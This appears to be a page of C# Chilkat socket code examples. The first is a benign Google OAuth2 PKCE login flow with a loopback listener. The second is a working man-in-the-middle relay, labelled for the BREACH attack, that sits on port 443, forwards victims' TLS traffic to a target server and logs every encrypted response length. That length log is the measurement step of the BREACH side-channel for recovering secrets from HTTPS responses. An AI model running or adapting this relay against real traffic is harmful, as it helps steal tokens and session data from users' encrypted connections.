Exemplo n.º 1
0
        // URLs to help understand this topic:
        // https://developers.google.com/identity/protocols/OAuth2InstalledApp
        //
        private bool oauth2_google(string scope)
        {
            // Generates state and PKCE values.
            string state         = m_prng.GenRandom(32, base64Url);
            string code_verifier = m_prng.GenRandom(32, base64Url);

            Chilkat.Crypt2 crypt = new Chilkat.Crypt2();
            crypt.EncodingMode  = base64Url;
            crypt.HashAlgorithm = "SHA256";
            string       code_challenge        = crypt.HashStringENC(code_verifier);
            const string code_challenge_method = "S256";

            //Create a Chilkat socket for listening.  Begin listening asynchronously.
            Chilkat.Socket listenSocket = new Chilkat.Socket();
            int            backlog      = 5;
            int            listenPort   = 0;

            // Passing a listenPort = 0 causes BindAndListen to find a random unused port.
            // The chosen port will be available via the ListenPort property.
            if (!listenSocket.BindAndListen(listenPort, backlog))
            {
                fgAppendToErrorLog(listenSocket.LastErrorText);
                popupError("Failed to BindAndListen");
                return(false);
            }

            // Get the chosen listen port
            // This ListenPort property is available starting in Chilkat v9.5.0.59
            listenPort = listenSocket.ListenPort;

            // Creates a redirect URI using an available port on the loopback address.
            string redirect_uri = "http://127.0.0.1:" + listenPort.ToString() + "/";

            //Wait a max of 5 minutes.  The OnTaskCompleted event is called when an incoming connection
            //arrives, or when the listen failed.
            listenSocket.OnTaskCompleted += listenSocket_OnTaskCompleted;
            Chilkat.Task task = listenSocket.AcceptNextConnectionAsync(5 * 60000);
            if (task == null)
            {
                MessageBox.Show("Failed to start socket accept...");
                return(false);
            }

            // Add some information that will be needed by the TaskCompleted event..
            Chilkat.JsonObject taskData = new Chilkat.JsonObject();
            taskData.AppendString("code_verifier", code_verifier);
            taskData.AppendString("redirect_uri", redirect_uri);
            task.UserData = taskData.Emit();

            // Start the task.
            task.Run();

            // Creates the OAuth 2.0 authorization request.
            Chilkat.StringBuilder sbAuthRequest = new Chilkat.StringBuilder();
            sbAuthRequest.Append(authorizationEndpoint);
            sbAuthRequest.Append("?response_type=code&scope=");
            sbAuthRequest.Append(m_encoder.EncodeString(scope, "utf-8", "url"));
            sbAuthRequest.Append("&redirect_uri=");
            sbAuthRequest.Append(m_encoder.EncodeString(redirect_uri, "utf-8", "url"));
            sbAuthRequest.Append("&client_id=");
            sbAuthRequest.Append(googleAppClientId);
            sbAuthRequest.Append("&state=");
            sbAuthRequest.Append(state);
            sbAuthRequest.Append("&code_challenge=");
            sbAuthRequest.Append(code_challenge);
            sbAuthRequest.Append("&code_challenge_method=");
            sbAuthRequest.Append(code_challenge_method);

            // Here is a shorter way of building the URL in C#
            //string authorizationRequest = string.Format("{0}?response_type=code&scope={6}&redirect_uri={1}&client_id={2}&state={3}&code_challenge={4}&code_challenge_method={5}",
            //    authorizationEndpoint,  // 0
            //    System.Uri.EscapeDataString(redirect_uri), // 1
            //    googleAppClientId, // 2
            //    state, // 3
            //    code_challenge, // 4
            //    code_challenge_method, // 5
            //    System.Uri.EscapeDataString(scope)); // 6

            // Get authorization from Google account owner...
            webBrowser1.Navigate(sbAuthRequest.GetAsString());

            return(true);
        }
Exemplo n.º 2
0
        static void Main(string[] args)
        {
            int responseBytesTotal = 0;
            int sequence = 0, i = 0;

            Socket listenSocket   = InitializeSocketLibrary();
            Socket outboundSocket = InitializeSocketLibrary();

            File.Delete(PacketRealTimeLog);

            // Bind on port 443
            if (listenSocket.BindAndListen(443, 25) != true)
            {
                Console.WriteLine(listenSocket.LastErrorText + "\r\n");
                return;
            }

            Console.WriteLine("[BREACH SSL Relay ready on 443]\n");

            // Keep the proxy up & running
            while (true)
            {
                // Every 1000 closed sockets, force cleanup & garbage collection
                if (++i % 1000 == 0)
                {
                    Console.Write("## RESET CLEANUP...");
                    Thread.Sleep(500);
                    listenSocket.Close(10000);
                    outboundSocket.Close(10000);
                    listenSocket   = InitializeSocketLibrary();
                    outboundSocket = InitializeSocketLibrary();

                    if (!listenSocket.BindAndListen(443, 25))
                    {
                        Console.WriteLine(listenSocket.LastErrorText + "\r\n");
                        return;
                    }

                    GC.WaitForFullGCComplete();
                    Console.WriteLine(" Done!");
                }

                Chilkat.Socket connectedSocket = null;

                // Listen to incoming client
                do
                {
                    try
                    {
                        connectedSocket = listenSocket.AcceptNextConnection(6000000);
                    }
                    catch (System.AccessViolationException e)
                    {
                        connectedSocket = null;
                        Console.WriteLine("## Error (001): " + e);
                        Thread.Sleep(500);
                    }
                } while (connectedSocket == null);


                // Connect to outbound target
                // BLIND SSL Relay (no need to establish a new SSL tunnel)
                if (!outboundSocket.Connect(TargetIP, 443, false, 10000))
                {
                    Console.WriteLine(outboundSocket.LastErrorText + "\r\n");
                    continue;
                }

                //  Set maximum timeouts for reading an writing (in millisec)
                connectedSocket.MaxReadIdleMs = 90000;
                connectedSocket.MaxSendIdleMs = 90000;
                outboundSocket.MaxReadIdleMs  = 90000;
                outboundSocket.MaxSendIdleMs  = 90000;

                int  received        = 0;
                bool receivingClient = false;
                bool receivingServer = false;


                // Main loop for SSL Proxy - Processing and forwarding flows in both
                // directions so long the conneciton is kept alive
                while (true)
                {
                    if (!connectedSocket.IsConnected)
                    {
                        break;
                    }

                    byte[] requestBytes = null;

                    if (!receivingClient)
                    {
                        receivingClient = true;

                        try
                        {
                            if (!connectedSocket.AsyncReceiveBytes())
                            {
                                Console.WriteLine(connectedSocket.LastErrorText + "\r\n");
                                Thread.Sleep(100);
                                break;
                            }
                        }
                        catch (AccessViolationException e)
                        {
                            Console.WriteLine("## Error (002): " + e);
                            Thread.Sleep(100);
                            break;
                        }
                    }

                    // Request starts here, receive from client
                    if (receivingClient &&
                        connectedSocket.AsyncReceiveFinished)
                    {
                        receivingClient = false;
                        requestBytes    = connectedSocket.AsyncReceivedBytes;
                        if (requestBytes != null && requestBytes.Length > 0)
                        {
                            Console.WriteLine(" >>> rcv: " + responseBytesTotal);

                            if (responseBytesTotal != 0 &&
                                File.Exists(PacketRealTimeLog))
                            {
                                // Since we are detecting a new request and HTTP is synchronous, we now know the previous
                                // response has completed, and we measure the aggregated byte count for all its packets
                                LogPacketLength(PacketRealTimeLog, "--- " + responseBytesTotal,
                                                FileMode.Append, FileAccess.Write, FileShare.Read);

                                Console.WriteLine("\n----------------\n");
                            }


                            // Relay bytes to target server
                            if (!outboundSocket.SendBytes(requestBytes))
                            {
                                Console.WriteLine(connectedSocket.LastErrorText + "\r\n");
                                Thread.Sleep(100);
                                break;
                            }
                        }
                    }


                    // Response starts here
                    byte[] responseBytes = null;

                    if (!receivingServer)
                    {
                        receivingServer = true;

                        try
                        {
                            if (!outboundSocket.AsyncReceiveBytes())
                            {
                                Console.WriteLine("## Error (004) " + outboundSocket.LastErrorText + "\r\n");
                                Thread.Sleep(100);
                                continue;
                            }
                        }
                        catch (System.AccessViolationException e)
                        {
                            Console.WriteLine("## Error (003): " + e);
                            Thread.Sleep(100);
                            break;
                        }
                    }

                    // Write to log file
                    if (receivingServer &&
                        outboundSocket.AsyncReceiveFinished)
                    {
                        receivingServer = false;
                        responseBytes   = outboundSocket.AsyncReceivedBytes;

                        if (responseBytes != null && responseBytes.Length > 0)
                        {
                            received += responseBytes.Length;
                            Console.WriteLine("<<" + responseBytes.Length);
                            sequence++;

                            // Real time packet log (logging each individual packet length for BREACH)
                            LogPacketLength(PacketRealTimeLog, sequence + " " + responseBytes.Length,
                                            FileMode.Append, FileAccess.Write, FileShare.Read);


                            Console.Title       = "received: " + received;
                            responseBytesTotal += responseBytes.Length;

                            // Relay to client
                            if (!connectedSocket.SendBytes(responseBytes))
                            {
                                Console.WriteLine("## Error (005) " + connectedSocket.LastErrorText + "\r\n");
                                Thread.Sleep(100);
                                break;
                            }
                        }

                        else if (connectedSocket.IsConnected &&
                                 !outboundSocket.IsConnected)
                        {
                            // We lost one socket, kill it with fire
                            connectedSocket.Close(10000);
                            break;
                        }
                    }
                }

                // Log for non-Keep-Alive cases (Connection Closed)
                LogPacketLength(PacketLengthLog, received.ToString(),
                                FileMode.OpenOrCreate, FileAccess.ReadWrite, FileShare.None);


                //  Close the connection with the client.
                outboundSocket.Close(10000);
                connectedSocket.Close(10000);
                Console.WriteLine("Socket Closed < " + received);
            }
        }